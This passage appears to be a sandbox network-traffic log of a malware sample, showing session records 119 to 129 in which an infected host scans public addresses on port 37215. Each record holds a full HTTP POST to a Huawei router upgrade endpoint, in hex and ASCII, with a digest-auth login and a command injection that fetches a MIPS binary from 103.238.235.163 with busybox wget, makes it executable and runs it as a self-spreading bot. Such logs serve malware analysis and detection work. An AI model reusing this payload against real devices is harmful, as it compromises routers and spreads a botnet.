3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.14	52814	41.81.182.25	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609606981 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.14	54376	197.97.234.242	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609628916 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.14	37804	157.84.81.43	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609689951 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.14	56328	41.151.182.180	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609713078 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.14	50270	157.136.241.140	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609750032 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.14	56550	197.130.235.100	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609813929 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.14	54308	41.138.22.23	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609838009 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.14	49482	41.177.87.219	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609875917 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.14	34740	41.227.113.252	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.611476898 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.14	57376	157.180.101.63	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.817715883 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.14	52512	197.43.214.179	37215

Timestamp	Bytes transferred	Direction	Data
